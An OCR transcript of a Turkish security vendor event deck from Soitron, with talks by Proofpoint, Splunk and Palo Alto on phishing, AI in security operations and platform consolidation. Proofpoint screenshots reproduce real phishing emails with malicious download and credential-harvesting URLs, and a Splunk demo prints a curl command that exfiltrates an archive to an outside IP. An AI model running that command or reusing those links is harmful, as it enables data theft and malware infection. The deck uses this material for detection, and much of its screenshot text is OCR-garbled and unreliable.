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* 14:00-14:20 Acilis

Didem Onol & Orhun Babalik - Sales Manager, Soitron

Murat Kaymaz - Managing Director, Soitron

* 14:20-14:40 “Al Tatile CiksIn”

Hayati Cemil Acaralioglu - Technical Manager, Soitron

 14:40-15:05 “Gelen Kutusundaki Gizli Tehlikeler: Tespit Edilmis Ornekler”
Oykun Satis - System Engineer, Proofpoint

e 15:05-15:30 “The Growing Impact of Al in SecOps”

Bogac Bakkal - Regional Sales Manager, Splunk

* 15:30-15:45 Kahve Molasi

* 15:45 - 16:10 “Simplifying Security Through Al & Platformization”

Deniz Celik - System Engineer, Palo Alto Networks
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* 16:10 - 16:35 “Siber Savunmanin Otomasyon ile Evrimi & Modern
Tehditlere Modern Savunma”

ZUulkuf Cetin - SOC Manager, Soitron

* 16:35 - 16:50 Kahve Molasi

« 16:50-17:15 “Microsegmentasyon ve Otesi”

Murat Oz - Security Solutions Architect, Soitron

e 17:15-17:30 “Atomic Ant Effect”

Serkan Salcin - Regional Sales Manager, BeyondTrust
« 17:30-17:50 “Siber Guvenlik Yol Haritas!”

Hakan Unsal - CCO, Soitron

* 17:50-18:00 Ginlin Ozeti & Q&A

Hakan Unsal - CCO, Soitron
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MURAT KAYMAZ

Soitron Genel Muduru
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Rakamlarla

SOITRON

TURKIYE

SOITRON"

2013

Kurulus Yili

200+ Musgteri

Finans, Uretim, Kamu,

Perakende, Ulastirma, Eneriji, ...

20 Milyon $

2024 Yili is Hacmimiz

60 Calisan

2025 Yili itibariyle
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« 7/24 izleme

- Tehdit istinbarat:

« Zaafiyet Tarama

* Red Teaming

- MDR

* Yonetilen SIEM & SOAR
* DLP Danismanligl
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* Dis Kaynak Saglama

* YoOnetilen Guvenlik Hizmetleri
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Biiyiik kurumlarda 50-200 Konsolide platformlarla

farkli glivenlik Grin{ 2027°de ihtiya¢ 30-70 Urlne

kullaniliyor dusebilir

McKinsey IDC

Dinyada 4000-5000 2027°de SOC’lerin %401,

farkli siber guvenlik Al merkezli platformlar

ureticisi var kullanacak

Quick Market Pitch Gartner
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W Trendleri takip etmek
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— ® : &— Dogru platformlari segip size tasimak
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2025 Trends by Soitron ﬁﬁm'ém

BULUSMASI

Platformization Automation
Network Micro-
P Rule Segmentasyon
Mail Security Configuration SASE
Identity Cloud Access
Platforms Management Browser

Visibility

Al Access

Al Data

Al Runtime

SoC :
Platf
- S0C Platforms Automation \dentity
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2026 Predictions by Soitron BULUSMASI

Device Generated Data in Al Security

Quantum Computing Readiness
Hybrid Security Environments

Changing/New Regulations

Increasing Security Budgets & & &
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GELEN KUTUSUNDAKI
GIZLI TEHLIKELER

OYKUN SATIS

System Engineer
Proofpoint
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2025 Proofpoint at-a-Glance

-

+ FINANCIAL STRENGTH

N

+ MARKET ADOPTION

(o)

19%

Percentage of Revenue
Reinvested in R&D

98%

Recurring
Revenue

$2.03B

Proofpoint
Revenue

>2. 1M+

Customers

4.5K

WW employees,

hiring continues 150+
Global ISP and

Mobile Operators

AN

85%

F100 Protected by
Proofpoint

>60%

F1000 Protected by
Proofpoint

#1

DLP market share

50%
F100 using
Proofpoint DLP

+ PROOFPOINT’S DATA

People 371T >24T
Protection Emails scanned per SMS/MMS
year scanned per year
[0)
Information 15 . 7 M >4 1 A)
Protection Annual total F1000 emails authenticated by
archive searches Proofpoint

>183M

Phishing simulations sent
per year

69P+

Petabytes of archive data
under management

212M

BEC attacks stopped
per month

1.09T 21T

Attachments
scanned per year year

160+ and O

Win rate over Red Teams in
Identity Threat

URLs scanned per

177M

Telephone Oriented
Attacks stopped per year

51M

M365/Google accounts monitored for
takeover detections

proofpoint.

‘ © 2025 Proofpoint, Inc
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[Dikkat! Mail Analiz Edilemedi]Glinliik Bakiye Bilgilendirmesi

garantibbva@boxmet-pl.com
To: pesintahs
&) textt html (4 €e6935f1,png (19 KB) (£ 1bcff954.png (10 KB) &) Ganiik Bakiye Bilgilendimmesi- docx (239 KB)

GUID: UQzHgcF3-KBqaUDH9HHaUhWadrgnOam Message 10: 772¢c423e8101555dbcdb214b1443357b@ boxmet-pl com
Envelope Sender: garantibbva@boxmet-pl com From: G 1t BBVA <g bt mat-pl com
Envelope Recipients: pesintahsi To: undisclosed-recipients.
HostIP Address: 17222.812{17222.812) Date: 2025-06-23 09:34:49 [UTC+03:00]
Size: 281KB Processing Server:
Subject: [Dikkat! Mail Analiz Edilemedi]Guniik Bakiye Folder: lachment Defense
Bilgilendirmesi
Bilgilendirme
Hesap Bakiyeniz
Degerli Mustenimiz,
Ku***** § gun sonu y ektedir, I
Hesap Numarasi: 00336 - ****239
IBAN: TR 2000 336* **** ***2 39 (323
e-dekont
zira, i Zi om.tr
To:
2| @ e-dekont br (207 KB)
GUID: IgwEow VX V5410-s5j-drSoMMLzTojSa3K Message ID: 20250612081616.589F0765DD4BC 18B@ileti ziraatbank com.fr
Envelope Sender: ziraatbank@ileti ziraatbank com ir From: ZiRa KASI =ziraal Dileti ziraatbank com. tr=
Envelope Recipients: To: .
HostIP Address: Y Date: 2025-06-12 15:30:46 [UTC+03:00)
Size: 220 KB Processing Server:
Subject: e-dekont Folder: Attachment Defense
Gelen maildeki ek yasakh dosya tarleri oldugu icin istir. Bu mail isleginiz Gzere sizlere i stir. Latfen ekleki guvenli emin olunuz 11!
0s

Sayin
Igleminizle ilgili delay ekiedir,

Tirkiye Cumhuriyeti Ziraat Bankas: Anonim Sirketi, Finanskent
Mahalesi, Finans Caddesi No:44A Umraniye/stanbul
Ticaret Sicil No:475225.5 Mersis No: 0995006967505533 |

www Ziraatbank com tr

proofpoint.

© 2025 Proofpoint, Inc
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Etihad Vendor Registration
$xport@szqu.com
3 To

GUID: USSi6FpaeciqJ2ux1GFFLF1TZ72y

Envelope Sender: expori@szuqw.com

Envelope Recipients: N o (.

HostIP Address: 17222812 [172.22.8.12)

Size: 24 KB

Subject: Message ID: 20250507024457 S8E836469DD28331D@szuqw.com
From: Etihad Aviation Group <export@szuqw.com:
To:

Dear: SirMadam, Date: 2025-05-07 09:48:08 [UTC+03:00]
) ) o Processing Server: G (| () stonce ]
Greetings from Etihad Aviation Group, UAE. Folder: Impostor

We are inviting your esteemed company for vendor registration and |
intending partners for Etihad Aviation Group projects and services.

These projects are open for all companies around the world, if you |
have intention to participate in the process, please confirm your
nterest by

asking for Vendor Questionnaire and EOI.

We appreciate your interest in this invitation and look forward to
your early response.

proofpoint.

| © 2025 Proofpoint, Inc 25



security-update@newoesisbid.com

Observations
8 Suspicious Behavior: A e AL Se € R mair
Message Information

Time Defivered 2025/06/23 - 18:42 (UTC +03:00)

Envelope Sender bnewcesisbid.com

Envelope

security-updat

Subject

Message-ID <20250623101318.631DB6D10AS4 1E47@newoesisbid.com>
Header From y Team <security-update@newoesisbid.com>
Header To

.
‘hnps:/ﬂ:mc.s»(l-clp trendmicro.com:443/wis/clicktime/vi/query?
url=https % 3a % 2f % 2fgvcdistribution.giize.com¥% 2fdownload % 5ffile.php % 3ffile % 3dWindowsDefender % 2dUpdate % 2dKB226 7601%2dx64

.rar&umid=012DCED3-383F-1306-BD27-B895FE1B5655&auth=db30019edeb0117¢8016a5¢bd6204b9a0c7ae229-

J655a1a0386fb4d476e3efbf2611d655f4d9d8bf4

Attributes

Observations

SUSPICIoUS DANMVIOES while (9%0NALING an

Cs Managec

proofpoint.

TAP Sandbox ©

activity while detonating an

attochment or 0 an email message, that ca

e used f comnpromise

EDOX 0bserved fle modifications wh

artifact (a fée attached o ref

email message, that can be used 2

Suspicious Behavior

Matware TAO002 Exmcution TAOO0D Cotection TAO003 Persistance
Evidence
Nt un ary Forensics Sample

I~

message, thet can

Involvement

Attack Progression

Messages 1

Delvered

Paople C

245 1 1
¢ Messsgein

cks on Rewritten URLs

uth=db30019 ¥ i)

WindowsDefender-Update-KB2267601%
x64 (1).rar

© 2025 Proofpoint, Inc 26




Odeme Bilgileri

Yasmine Hakimi <yilmaz@berrakelektrikcom=
To undisclosed-recipients:

@This message was sent with High importance.,

[External Message] This email has originated from outside the organization.
[Caution] Do not click on any links or open attachments unless you recognize the sender and know that the content is saf

Merhaba,

Odemeniz yapildi. Arag Cuma sabahi gelecek.

yi calismalar dilerim.

Yasmine Hakimi
Hesap Uzmam

m Odeme Bilgileri.pdf '

proofpoint.

& =

https://www.mediafire.com/file/ho7knw5g9k5tudo/

Open in Proofpoint Browser Isolation [4

Attributes @
Family
Malware

Evidence

Condemnation Summary Forensics

Observations

This threat was determined to be malicious based on the following cbservations found in your traffic.

B Behaviors (5)

TAP Sandbox found suspicious behaviors while detonating an
attachment or URL.

B Malicious URLs (2)

TAP Sandbox found malicious content when scanning a URL.

B DNS Lookups (2)

TAP Sandbox captured network activity related to DNS
queries while detonating an attachment or URL that can be
used as indicators of compromise.

Suspicious Behavior

Es Uncommon URL domain 12 Messages

Domain not commonly or never seen in Proofpoint traffic

Samples

|4m

B Network Activities (2)

TAP Sandbox captured network activity while detonating an
attachment or URL associated to an email message, that can
be used as indicators of compromise.

" File Modifications (2)

TAP Sandbox observed file modifications while detonating an
artifact (a file attached or referenced via URL) related to the

email message, that can be used as indicators of compromise.

\ © 2025 Proofpoint, Inc
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[EXTERNAL] Fw:Ticket ID: Oec564551c5848dc1ad91938ba93fe5f26025d3149f5bf1c2c0c65¢73f

o info@affordorm.com
To O O

) If there are problems with how this message is displayed, diick here t
Click here to download pictures, To help protect your privacy, Outlag]

2 web-cisco-guard.lovableapp

kmarks % Bookmarks [ P o Dashboard - Buxfer
@ Authenticating ... x e = o X
€ C % aadamtextile.com/s/?aXBKYXRhPTgyLiYOLU3LjlyDCZ2Ym94PSZzdj1vMzY 1XzFfomItm09YVkmdWik... ¥ 3 (R ®

B® Microsoft

Signin

Email, phone or Skype

No account? Create one!

Can't access your account?

Back

Temsofuse  Privacy & cookies

proofpoint.

) 2025 Proofpoint, Inc
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[DKIM Fail - Gonde
- ——

irldefense.com/v3/__httP

G v urldefense.com

nstructions | NGINX izﬁ Cla

T

{ MAILINIZI BEKL
SAYGILARIMLA

proofpoint.

=http: Furld,

ishboard - Buxfer [ Music

& o
https://ddei5-0-ctp.trendmicro.com
url=https % 3a% 2% 2fdrive.google.c|
5A8F8F-3915-3706-A441-03B2396
9852cd5c9d2a61dc514778bb2dacO

en in Proofpoint Brow:

Evidence

Condemnation Summary

Observations

This threat ermined to be malicious

TAP Sandbox found malicious content when scanni

Suspicious Behavior

Domain not commonly or never seen in Proofpoint t

Condemnation Sources

Proofpoint via Sandboxing

Reports

static hitps://ddei5-0-ctp trendmicro.c

2Fddei5-0-ctp.trendmicro.com

Evidence

Condemnation Summary Forensics

Affected Users

0 Messages delivered to users.

Overview
Proofpoint detection and respon

1 Total Message

The first message was seen at| 2025/07/04 10:12 am

0 Delivered Messages

5 permitted clicks, 0 blocked clicks
The first permitted click was cbserved at
2025/07/07 10:42 am

Threat Response Quarantines
Information unavailable

Condemnation Sources

Proofpoint via Sandboxing

Fclicktime%2Fv1

Samples

High-level Observations
This threat was determined to be malicious based on the following
high-level observations.

Suspicious Behavior
1 Mes
Domain not commonly or never seen in Proofpoint traffic
1Mes

Unfamiliar email sender does not frequently correspond with your
organization.

View all observations

1

Proofpoint
Customer

ewritten URLs

Message in
Your Traffic

1

User

Impacted

Global Metrics »

5

Permittad

View Details >

4

Messages Seen

Sho

More »



Secure Voicemail Delivery

25 ahda.golou.s;

Press tl

I'mnotar

Received

Expires: One-time Only

Message ID: Mesting Transcript

Do not forward this document to a third-party. The meeting recap is for single-use and will expire at the fime show

You can listen to playback by pressing play button after secure sign in

proofpoint.

Enter password

Enter password 1o access your office mail,

Forgot my password

Sign in

© 2025 Proofpoint, Inc
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Proofpoint Threat Protection

Redefining Email Security: End-to-end, Complete and Continuous

Pre Delivery é - Post Delivery ——— ﬁ Click Time
ML Models Attachment
[~ DMARC + Sandbox
Auth
: . Abuse . URL ATO
52 s || ot || o Guomete | wabox [ ety | pewrng | | ostctions
! yst Automation and Isolation Response
Supplier
Threat
Protection LLM Detection Adaptive
(Semantic Al) Detection
[ THREAT INTELLIGENCE ] NEXUS Al [ NEXUS BEHAVIORAL Al ] [ HUMAN RISK MANAGEMENT }

prOOprint. ‘ © 2025 Proofpoint, Inc 31
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THE GROWING IMPACT
OF Al IN SECOPS

BOGAC BAKKAL

Regional Sales Manager
Splunk

&
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It’s hype time!

Hype Cycle for Artificial Intelligence, 2024 Hype Cycle for Artificial Intelligence, 2025

Al Engineering Al Agents — AHReady Data
Responsible Al Edge Al Mﬁx\:ﬁ:\ i: * AlEngineering
Prompt Engineering TNy 1 founda!m Models AITRISM ~) Responsible Al
AITRISM y Synthetic Data
Sovereign Al {7 @ ModelOps Composite Al

Generative Al Antificial General Intelligence / ModelOps

Artificial General Intelligence Neuromorphic Computing Neurosymbolic Al

FinOps for Al
Decision Intelligence ‘

World Models
Al Simulation
Embodied Al — ) Edge Al
Causal Al '~ Generative Al

Foundation Models

Composite Al Smart Robots Synthetic Data

Neuro-Symbolic Al
Decision Intelligence
AlReady Data
Causal Al

Al Simulation Al Governance Platforms

EXPECTATIONS

w
=z
o
<
-
O
w
Q.
>
i

Multiagent Systems First-Principles Al

Embodied Al 7 Model Distillation

First-Principles Al Knowledge Graphs
/ Intelligent Ap Quantum Al

Quantum Al / AkNative Software Cloud Al Senvices
Autonomic Systems Knowledge Graphs Engineering

Autonomous Vehicles
Cloud Al Services

Slope of
Trigg Expectations u T Enlightenmes

ent
TIME Plateau will be reached <2 yrs 2-5yrs. @ 5-10yrs, >10yrs. & Obsolete before plateau

Plateau will be reached <2yrs 2-5yrs. @ 5-10yrs >10yrs. & Obsolete before plateau

© 2024 SPLUNK INC.




£°

We tend to the effect
of a technology in the short run and

the effect in the long
run.

Amara’s Law



How Al is Increasing Risk for Corporates and
Government Institutions

Al technologies, especially Large Language Models (LLMs) and agentic Al systems, are reshaping the cyber threat landscape

©2025 SPLUNK LLC

Cybercriminals are leveraging models
like Claude, GPT, and others to automate malware development, evade
detection, and tailor social engineering campaigns.

Non-technical actors can now
execute sophisticated attacks using Al as a copilot.

Al agents allow adversaries to target multiple
organizations simultaneously with personalized, high-fidelity attacks.

Al is used to analyze stolen data,
simulate user behavior, and conduct deep victim profiling.

Threat actors (e.g., North
Korean operatives) are using Al to impersonate remote tech workers and
gain internal access to sensitive systems.

Al-Driven (5 &
Cybersecurit ‘
Risks oo

Impact on Corporates / : .
and Government Institutes

‘ © 2025 Proofpoint, Inc
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Impact on SOC Teams: Preparing to Detect and
Respond

Al technologies, especially Large Language Models (LLMs) and agentic Al systems, are reshaping the cyber threat landscape

° Attacks are now faster and more
dynamic. SOCs must reduce detection-to-response latency.

° SOC tools must include I m pa Ct on

Al/ML-powered behavioral analysis, UEBA, and anomaly detection to keep
pace. SOC Teams

SOC teams need to

° Analysts must understand Al-driven
TTPs and be trained to investigate Al-generated indicators. be prepared to combat
new Al-driven threats
o SOAR platforms should be enhanced

to integrate Al-enabled decision-making and triage assistance.

) Teams must hunt for indicators of
automated behavior, such as rapid infrastructure changes, consistent TTP
signatures, and model-driven content patterns.

‘ © 2025 Proofpoint, Inc
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What should be done? Recommendations:

©2025 SPLUNK LLC

Develop Al use policies across all departments, including red teaming and misuse prevention.

Collaborate with Al vendors on responsible use and abuse mitigation.

Integrate UEBA, SOAR, and Threat Intelligence Platforms (TIPs) with Al-enabled detection.

Employ simulation environments (sandboxing, adversarial testing) to understand Al-assisted attacks.

Train SOC teams on Al misuse indicators.

Educate leadership on how Al threats differ from traditional cyber risks.

Subscribe to Al-specific threat feeds.

Collect telemetry related to anomalous agentic behavior.

Include Al-enabled adversaries in tabletop exercises and penetration testing scenarios.

) —
v—

V —

olto

UEBA SOAR Tl
L .
____\:.____

L

© 2025 Proofpoint, Inc
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Splunk Al in Security




Al in Security

Driving a new wave of SOC maturity
with Splunk Al in Security

( ]
L )

Accelerating the agentic SOC of the future

Detect Simplify investigations Enhanced
advanced threats and triage response

Anomaly detection | ML-based detection Streamlined Threat Workflow | Anomalies Streamlined Threat Workflow | Anomalies

Insider threat detection | Behavior analytics Grouping | Threat Visualization Grouping | Threat Visualization

| Splunk Al in Security J

‘ © 2025 Proofpoint, Inc 40

©2025 SPLUNK LLC



Splunk Platform

Leverage Al
for innovation

« Splunk MCP for Splunk Cloud and
Enterprise (Beta)

« Al Toolkit- Hosted LMM including Cisco
Foundation Model (Alpha)

« Al Toolkit - External LLM Integration (GA)

« Al Assistant for SPL integrated into search
and reporting (GA)

« Al Canvas in Splunk (Alpha)
« Splunk Machine Data Lake (Alpha)

« Splunk POD (GA)

-

Unified
Analytics

Replay Amazon S3 data on Splunk
Cloud Platform (GA)

Federated Search for Microsoft Azure,
Apache Iceberg, Delta Lake formats
using Spark (Beta)

Federated Search for Cisco SAL (Alpha)

Federated Search for Snowflake
(Alpha)

Data schematization (Alpha)

Operational
Efficiency

Edge Processor for Splunk
Enterprise 10 (GA)

Content templates for security and
observability advanced processing
(GA)

Automated field extraction for
Ingest processor (GA)

Value
Realization

Cloud Flex (CA)
Next-Gen Pricing (Alpha)

Portfolio Manager (Controlled
Avail.)

©2025 SPLUNK LLC




GA Now

Al T it
with LLM
Integrations

Build and deploy Al models
Query Splunk with 3rd party LLMs

Access Splunk hosted models,
coming soon

©2025 SPLUNK LLC

splunkscioud  Apps~ @ Messages > settings v Activity~ | Find Q

Connection Management  Ale=

<arch

Showcase  Experiments  Search  Models  Settings

Models Settings

Cor ion Mar 1t

By using the LLM connection feature you acknowledge and agree that data from s

iagement Settings

- Select Service -~

Select Service:
Splunk Hosted Models
mi’::'p_m /nection feature you acknowledge and agree that data from sear
AzureOpenAl
Splunk Hosted Models « Groq
Gemini v -- Select Service --
Models and Settings for S Bedrock
Model Name Olama Splunk Hosted Models action
OpenAl
Uma 31708 st AWG. Anthropic
AzureOpenAl
odels ( eOpenAl
Groq P
Liama 31 88 Instruct Gemlnl
forS Bedrock
Ollama
Resp
Llama-31-FoundationAl-Securityl LM-base-88 Maximum Result
Max Tokens 2000

B 2 splunk Administrator ~

@ Support & Services v

@ A ook



Alpha | Jan 26

Al Canvas
for Splunk

Data exploration, Al
insights, and team
collaboration

© 2025 SPLUNK LLC

splunk>cloud  Apps~¥  Messages v Settings v

Activity *

Al Canvas Detected Anomalous Network Activity

= Al Assistant G
patterns.
Escalate to an expert to block the user's IP address.
[cRL=RN- Rl </> Show SPL

.You

Create an alert to detect this behavior

(@ Al Assistant

| created an alert "curl.exe monitoring” that will run

every 5 minutes to scan for similar behavior.

Tell the user that a Splunk Saved Search has been

created to detect similar behavior in the future.
O D (e

[ Ask the Al Assistant a question

)

Assistant can make mistakes. Verify responses.

Anomalies: 1
B Anomaly I Thresholds  — Bytes_Out

wss @ ® ®

® ntemex 104% 2884
19216818
Commands issued by andrewl  Spunk Alert: curl.exe monitoring
eris Ot
system
Schedule Every S mintes

curl =X POST --data-binary @archive.zip
ntEps://104.16.210.84

2 aicanves_userv @ Support & Services v

@  Card added to the canvas successfully X

& e v
T @ | & Generate report | | View activity

Traffic By User  spunk -

400

300
2
Ezw
100 I
l.-------
Users

=3
=]
|

Ik



Controlled Availability | Sep ‘25

ecurity

Enterprise
S
Premier Edition

> 0

splunkscloud  Apps~ @) Messages > Settings v Activity  QFind © Lscadminv @ Support & Services ¥
Mission Control Analytics ~ Security content ~ Configure ~ [_? . Enterprise Security
& Queve £ ivestigation  ESB74i6 Potential insider P @ Info
Overview Response Events Automation ang (861 | Findingscore 895 | Intermed Ouner Status

Ilnsiderthvexﬂsna\ysl - ] |New - ]
Overview

Urgency Sensitivity
“ MITRE ATTRCK heatmap | lmw - [ rign V ]

ESCU - Active Directory P R e o

Tao04s Tacosz

UEBA - Rare Successful VPN Log...

Reconnaissance (2 Resource Development (2 Initial Acc, IUndelermlned

h Closed External

D

Includes UEBA, SOAR
and Al Assistant

Simplify your analyst
experience

Gain full visibility and
control

©2025 SPLUNK LLC

Type

UEBA - Rare Device Login by Win...
UEBA - Rare Device Login by Win

Cisco Duo Polic

Time
Last updated
Reference ID

Investigation type

esarats
& investigation
Today 10:20 AM

Today 1057 AM

d5d5-4e00-afd:

eb32227.

Insider threat

Description Potential insider threat - Taylor Zhang
v Intermediate findings UEBA
Entity {2 Taylor Zhang [88) | Findingscore 895 ~ [d Notes ©
Tues 21
om I Enter title
HB I S »HHE @
Enter note
Save
AT @ v [ Fles
¢ July 2025 Tues 21 Tues 22 4 i 2 Sat26
Drop your files here or browse
— all file types supported
Intermediate findings details 151 {Pev 1 2 3 4 5 16 Next > | Show10 -
Created ™ Risk message * Risk rule 3 Findin... ¢ Annotation Threat abject
> July20,831AM Potentially suspicious ChatGPT Suspicious ChatGPT Activity 35 TA0043 -
activity - user tzhang
> July20,426PM  Rare successful VPN login location  UEBA - Rare Successful VPN Login 90 TAD001,TAD003 -

for tzhang@buttercupgames.com  Location by User

> July20,4:26PM Rare successful VPN login location TAD001, TAO0O3 -

for tzhang@buttercupgames.com

UEBA - Rare Successful VPN Login 80
Location by User

wwinnAn A cbn 1IEBA _Ban




Controlled Availability

@ QLscadminv @ Support & Services ¥

£ = Enterprise Security

Al Assistant e

in Enterprise — =
Security

execution FI-AB543. €6 Charlie

Al Assistant for Security
Malicious PowerShell execution

Al Assistant for Security B X

Malicious PowerShell execution

Al Today, 8:30 AM

O A Today 830 AM Mg Sinaczetlon

25,2025, an obfuscated PowerShell command was executed using the -
ICommand flag by a low-privilege user during off-hours. The script contacted a
domain (185.99.132[.]22) linked to the MuddyWater APT group, as

by Cisco Talos threat intel.

coded ~ Finding summarization

exceeded for 4 i
exceeded for nalysis showed the script downloaded a second-stage payload, created a
een usl... On July 25, 2025, an obfuscated PowerShell commar] ... .. attempted credential theft. Shortly afterward, the host nitiated
: EncodedCommand flag by a low-privilege user during) latera! indicating early-stag ise activity. Given the
ck FI-AB198 NA Nyah Al indicators and threat intel correlation, this is assessed as a True Positive

known C2 domain (185.99.132[.]22) linked to
confirmed by Cisco Talos threat intel.

nmediate response.

Embedded across all analyst i dtected fom
116.133.181
workflows

FI-AB029 Q 5221¢€

osition

3 within 24 hrs on device “tion O True positive

FI-AB274 Q 10345

Sandbox analysis showed the script downloaded
scheduled task, and attempted credential the
SMB-based lateral movement, indicating earl
behavioral indicators and threat intel corr
requiring immediate response.

Guide investigations with Al-powered *dfomIOI6IMM  [innns] D mr0mrsy
query generation and Summarization side of the Outlook directory  FI-AB352 KP Kenji Tanaka

finding s likely a true positive based on following:

- Command Behavior: O script, spawned by

- Sandbox Result: Credential theft + scheduled task creation

- Threat Intel: Talos C2 match

+ User Context: Unusual activity from low-privilege user during off-hours

Accelerate workflows with embedded, <o [l o> [mowzo - e e
context-aware Al insights B seiricattack anayzer

w v Severity
Empower decisions with Al-driven il [ SR
gl . Bestasit D cgarcia v WebClaatto fetch payload, silent installation, ile cleanup
next step and remediation guidance et Exgeotes  ine - |
Destination IP address @ 20.50.50.60 EE - - cioco Tat
isco Talos
Destination owner U’ jeunningham I v _
Resits (TN
Destination PCl domain  untrust v Show m
Show all 35 f
I <" Ask me anything about. Y
Currently available for Cloud users > Related investigations © @ | T
> History Results from GenAl can vary; review for accuracy. View Al details (2

©2025 SPLUNK LLC



Splunk Al
Products

- Machine learning

based models

- Integrate w/
internal or
external Large

(LLMs)

(ML) or statistical

- Simple interface to
experiment, train
and deploy models

Language Models

Custom ML and
deep learning (DL)
models

Advanced model
capabilities
(Neural Networks,
Graph Modeling,
etc.)

Integrate w/ LLM
and Vector DB for
Retrieval Augmented
Generation (RAG)
patterns

Closed system
with fine-tuned
LLM

Prompted models,
well-defined
problem or query
needed

Currently, unable to
integrate with
external services

Model Context
Protocol (MCP) server
is NOT a model

Contains MCP tools
for the LLM to access

Connects to MCP
clients through
MCP host
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SECURITY THROUGH
PLATFORMIZATION

DENIZ CELIK
System Engineer
Palo Alto Networks



What We Know

The costs of inaction are...

Breaches Operational Financial and
guaranteed disruption business impacts

96% 33% $2.4M

The percentage of Of security professionals experienced The average cost
organizations attacked in the operational disruption as a negative associated with recovering
last year consequence of a breach from a breach.

2022 Global What's Next in Cyber survey 2022 Global What's Next in Cyber survey Forrester




Three Areas to Prioritize

Managing Cyber Risks in

Maximizing

Automating Threat

Detection and
Response

Complex, Borderless
Environments

Security Efficacy and
Operational Efficiency

51 | © 2024 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloall:o”



Three Areas to Prioritize

Managing Cyber Risks in

Complex, Borderless
Environments

52 | © 2022 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloa_!gg’



Consolidation is Coming

O of organizations work
with 10 or more
O cybersecurity vendors

NUMBER OF SECURITY VENDORS / TOOLS P VEN A SECURITY TOOLS / SOLUTIONS
USED BY ORGANIZATIONS TODAY

13.39 31.53

VENDORS (TOTAL AVERAGE) SECURITY TOOLS / SOLUTIONS
(TOTAL AVERAGE)

53 | © 2024 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloalto'




Fully Managing Today’s Cyber Risks Requires Platformization

Best of —ae‘\f'a Platform
Breed ' Approach

It’s not just our view...

Of security executives think it is critical to

o reduce the number of security solutions and
o services they use

Source: 2022 Global What's Next in Cyber survey



SUB-CATEGORY
Firewall

Intrusion Detection
URL Filtering
Sandbox Detection
DNS Security

1oT Security

Data Loss Prevention

Cloud Access Security

Broker

Posture and Health
Management

Remote Access for Users

SWG

SD-WAN

e
CISCo

O BROADCOM’
) FIREEYE
Infoblox $%
'ARMIS.

O BROADCOM’
A netskope

tufin oodynatrace

il
cisco

> zscaler
veldcioud

How Many Point Products Do You Have In Your Environment Today?

SUB-CATEGORY

CSPM
Brotection’ o ¢ ’aqua
oA oo
Code Security H snyk
g\éizﬁgplication / API 2B oorinne
SUB-CATEGORY -
SIEM splunks

Endpoint + EDR

NTA / UEBA

SOAR

Attack Surface
Management

. CROWDSTRIKE
DARKTRACE
a Siemplify

ORriskia




Managing Risks: The Anatomy of an Average Ransomware Attack

SIEM

Attacker deploys evasion techniques

Obfuscation / Anti-forensics

Brute-force attacks or
credential harvesting

Data exfiltration and ransomware attack

K

Exfiltration

User opens an .
attachment P

Phishing

.............. » N
URL/email
User clicks Malware Establish control Account Lateral Gain privileged Server
on URL download channel (C2) compromise movement access compromise
Exploitation Installation Lateral Movement

56 | © 2024 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloalto



Managing Risks: Security Silos Create Gaps and Complexity

@ Point Products

® SIEM

Attacker deploys evasion techniques

Brute-force attacks or
credential harvesting

A

Data exfiltration and ransomware attack

Data Loss Prevention Cloud Security

Enterprise 1AM

R4 e

User opens an
attachment

Phishing

=
1
1
1
1
r 1
D £ T W . L 1. ... .
URL/email ~ “p ~® @ >

User clicks on Malware download  Establish control Account Lateral Gain privileged Server
URL channel (C2) compromise movement access Compromise
Phishing | URL ' Endpoint Threat 1 Malware ‘ Intrusion Detection i Micro Segmentation &
Protection Filtering Protection Intelligence Sandboxing System ACLs

57 | © 2024 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloalto



Managing Risks: Break Down Security Silos with Palo Alto Networks

Q Powers the autonomous security platform for the modern SOC with high-fidelity threat intelligence

4 0 A A 4 A A

Ensures right users have appropriate access to
resources with IAM Integration across platforms

) Prevents data Protects cloud

: . exfiltration workloads
L A | T :
y 5 — 5

User opens an . : ?
attachment : v

1

i
e : i ‘

=] ... N |
& b Brute-force attacks or i o 'V > | > e

credential harvestin ! :
g 5 : =

1

i

1

1

1

UPF:]SQ:EH > -t) ............... > &, ..... > I]I]g ..... > fv@ ______________ > Oo _____ > g _____ >

O
User clicks on Malware download  Establish control Account Lateral movement Gain privileged ~ Server Compromise
URL channel (C2) compromise access
Blocks exploits before they can Prevents known/unknown malware and zero- Stops lateral movement with behavior & network
be delivered to endpoint day threats traffic analytics

58 | © 2024 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloalto



Managing Risks: Break Down Security Silos with Palo Alto Networks

0 Powers the autonomous security platform for the modern SOC with high-fidelity threat intelligence

& i Brute-force attacks or
credential harvesting

r=y
Ensures right users have appropriate access to Prevents data Protects cloud
resources with IAM Integration across platforms exfiltration workloads

- COomd A — e E

A 4 4 A 4 A &

User opens an . : ?
attachment : v

Phishing . e ‘l’ _____ > I S OO _____ L o~
URL/email .y X:) > I]E'HQ ~® > O > ™ >
O
User clicks on Malware download  Establish control Account Lateral movement Gain privileged ~ Server Compromise
URL channel (C2) compromise access
Blocks exploits before they can Prevents known/unknown malware and zero- Stops lateral movement with behavior & network
be delivered to endpoint day threats traffic analytics

59 | © 2024 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloalto



Consolidating With Best Of Breed Platforms Is The Only Way Forward

SUB-CATEGORY
Firewall

Intrusion Detection
URL Filtering
Sandbox Detection
DNS Security

1oT Security

Data Loss Prevention

Cloud Access Security
Broker

Posture and Health
Management

Remote Access for Users
SWG

SD-WAN

ZERO TRUST PLATFORM

| zomusrruamon |
_ i
——

Netwc_ork
Security
Platform

v

SUB-CATEGORY

Cloud Security Posture
Management

Cloud Workload
Protection

Identity & Access
Management

Code Security

Web Application / API
Security

CODE TO CLOUD PLATFORM

&

SUB-CATEGORY

Security Information &
Event Management

Endpoint + EDR
NTA / UEBA

SOAR

Attack Surface
Management

AI-DRIVEN SECOPS PLATFORM

&




Three Areas to Prioritize

Maximizing
Security Efficacy and
Operational Efficiency

61 | © 2024 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloalto”



Three Areas to Prioritize

Automating Threat
Detection and
Response

62 | © 2024 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloa_!gg’



Human-Centered SOCs Can’'t Stop Al-Fueled Threats

